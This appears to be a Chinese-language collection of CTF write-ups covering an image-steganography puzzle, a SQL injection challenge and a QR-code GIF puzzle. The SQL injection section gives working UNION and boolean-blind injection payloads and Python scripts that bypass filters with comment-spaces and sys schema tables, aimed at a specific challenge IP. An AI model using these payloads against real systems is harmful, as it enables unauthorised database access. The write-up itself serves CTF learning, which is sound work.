wp收集合集
https://shimo.im/docs/8wq3dxVJg6dY6r8w
0x01 签到题
基本就是去改色域
在图片红色通道看到
显示了密码
////1258//@#
Ao(mgHXo,o0fV’I2J"^%3&**H@q.MQ1,V%$1GCdB0P"X%0RW
base85编码
第一次见
flag{d9518636e448108cc90258c30800dbb0}
这里注意是直接提交flag里面的内容
0x02 SQLI
看标题名大概是SQL注入
先加入id
尝试一下直接引入用户名密码
禁止了蛮多的东西
这道题感觉真的蛮经典的,之前看过很多次的感觉就直接跳过去了,猜想思路,好像是用到了目录穿越,但是这次好像是被禁掉了,试一试
哦,这里大概是联合注入
方法1:
某个URL,但是没看懂
?id=0'/**/union/**/select/**/1,(select/**/a.2/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flllaaaggg)a/**/limit/**/1,1),3%23
flag{60325f20416b40b11b6049734bad11cf}
方法2:
直接写脚本解的一种,但是看不明白
import requests
string = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM} {
_~!.[] / \\+- * /<>()&$%^@#,'
url = "http://183.129.189.60:10004/"#
payload = "?id=1'<(length(database())={})%23"#
payload = "?id=1'<(ascii(substr(database(),{}))={})%23"
payload = "?id=1'<(ascii(substr((select/**/group_concat(table_name)from/**/sys.x$schema_flattened_keys/**/where/**/table_schema=database()),{},1)) ={})%23"
def Number():
for i in range(50):
payloads = payload.format(i)# print i
print url + payloads
r = requests.post(url + payloads)
print r.text
if "root" in r.text:
print "length:" + str(i)
break;
def Data(lens):
data = ''
for i in range(1, lens + 1):
for asc in range(len(string)):
payloads = payload.format(i, ord(string[asc]))
print url + payloads
r = requests.post(url + payloads)
print r.text
if "root" in r.text:
data += string[asc]
print "data:" + data
if __name__ == '__main__': #Number()
Data(100)
import requests
url = "http://183.129.189.60:10004/"
def add(flag):
res = ''
res += flag
return res
flag = ''
for i in range(1, 200):
for char in range(32, 127):
hexchar = add(flag + chr(char))
payload = "?id=1'<((select/**/1,'FLAG{"+hexchar+"')>(select/**/*/**/from/**/flllaaaggg))%23"
urls = url + payload
r = requests.post(urls)
text = r.text
print urls
print text
if 'root' in r.text:
flag += chr(char - 1)
print(flag)
break
方法3:
```php
id=1'=(ascii(substr((select/**/group_concat(table_name)from/**/sys.x$schema_flattened_keys/**/where/**/table_schema='sqlidb'),1,1))='a')%23
一个布尔盲注,基本能理解都是慢慢的联合注入类型,但是这个/**/代替空格
**方法4:**
完整的解决思路
先查库名:
```php
http://183.129.189.60:10011/?id=0%27union/**/select/**/1,database(),3%23
sqlidb但是这道题的information_schema的方法被过滤掉了
sys.schema_tables_with_full_table_scans一个新库
http://183.129.189.60:10011/?id=0%27union/**/select/**/1,group_concat(object_name),3/**/from/**/sys.schema_tables_with_full_table_scans%23
查库下面的名字
?id=0'/**/union/**/select/**/1,(select/**/a.2/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flllaaaggg)a/**/limit/**/1,1),3%23
flag{60325f20416b40b11b6049734bad11cf}
最后的无列名注入
0x03 Qrjoker
一张gif,放进去看了一下,有64个部分,大概是在这里面找到正确的二维码,先放一个神仙的脚本
from PIL import Image
from Crypto.Util import number
import base64
dic = {0:'0',1:'1',2:'2',3:'3',4:'4',5:'5',6:'6',7:'7',8:'8',9:'9',10:'A',11:'B',12:'C',13:'D',14:'E',15:'F',38:'%'}
res = ''
for num in range(64):
p = Image.open('frame'+str(num+1)+'.bmp')
a,b = p.size
# print(a)
data = []
for y in range(100,b-10,10):
d = []
for x in range(410,470,10):
if (y//10)%2 == 0:
if p.getpixel((x,y)) >= 200:
d.append('1')
else:
d.append('0')
else:
if p.getpixel((x,y)) >= 200:
d.append('0')
else:
d.append('1')
data.append(d)
mode = data[11][5]+data[11][4]+data[10][5]+data[10][4]
# print(mode)
length = data[9][5]+data[9][4]+data[8][5]+data[8][4]+data[7][5]+data[7][4]+data[6][5]+data[6][4]+data[5][5]
# print(length)
d1 = data[5][4]+data[4][5]+data[4][4]+data[3][5]+data[3][4]+data[2][5]+data[2][4]
d2 = data[1][5]+data[1][4]+data[0][5]+data[0][4]+data[0][3]+data[0][2]+data[1][3]+data[1][2]
d3 = data[2][3]+data[2][2]+data[3][3]+data[3][2]+data[4][3]+data[4][2]+data[5][3]+data[5][2]
d4 = data[6][3]+data[6][2]+data[7][3]+data[7][2]+data[8][3]+data[8][2]+data[9][3]+data[9][2]
d5 = data[10][3]+data[10][2]+data[11][3]+data[11][2]+data[11][1]+data[11][0]+data[10][1]+data[10][0]
d6 = data[9][1]+data[9][0]+data[8][1]+data[8][0]+data[7][1]+data[7][0]+data[6][1]+data[6][0]+data[5][1]
d = d1+d2+d3+d4+d5+d6
fin = d[:33]
for i in range(0,len(fin),11):
y = int(fin[i:i+11],2)%45
x = int(fin[i:i+11],2)//45
res += dic[x] + dic[y]
b64_data = number.long_to_bytes(int(res.replace('%',''),16))
while 1:
b64_data = base64.b64decode(b64_data)
if b'flag' in b64_data:
print(b64_data)
break
用第二个方法一个个来
一个二维码拼接网站
https://merricx.github.io/qrazybox/
首先需要把前面的图片截取下来
from PIL import Image
import os
gifFileName = 'QrJoker.gif'
#使用Image模块的open()方法打开gif动态图像时,默认是第一帧
im = Image.open(gifFileName)
pngDir = gifFileName[:-4]
#创建存放每帧图片的文件夹
os.mkdir(pngDir)
try:
while True:
#保存当前帧图片
current = im.tell()
im.save(pngDir+'/'+str(current)+'.png')
#获取下一帧图片
im.seek(current+1)
except EOFError:
pass
这个竟然直接运行成功了,脚本才是永远滴神
根据出来的图片大概是21*21的格子
把图片绘制下来一张张强制读取,最后一起加起来出结果
真的佩服后面还base64解码了差不多三四次
码着当技巧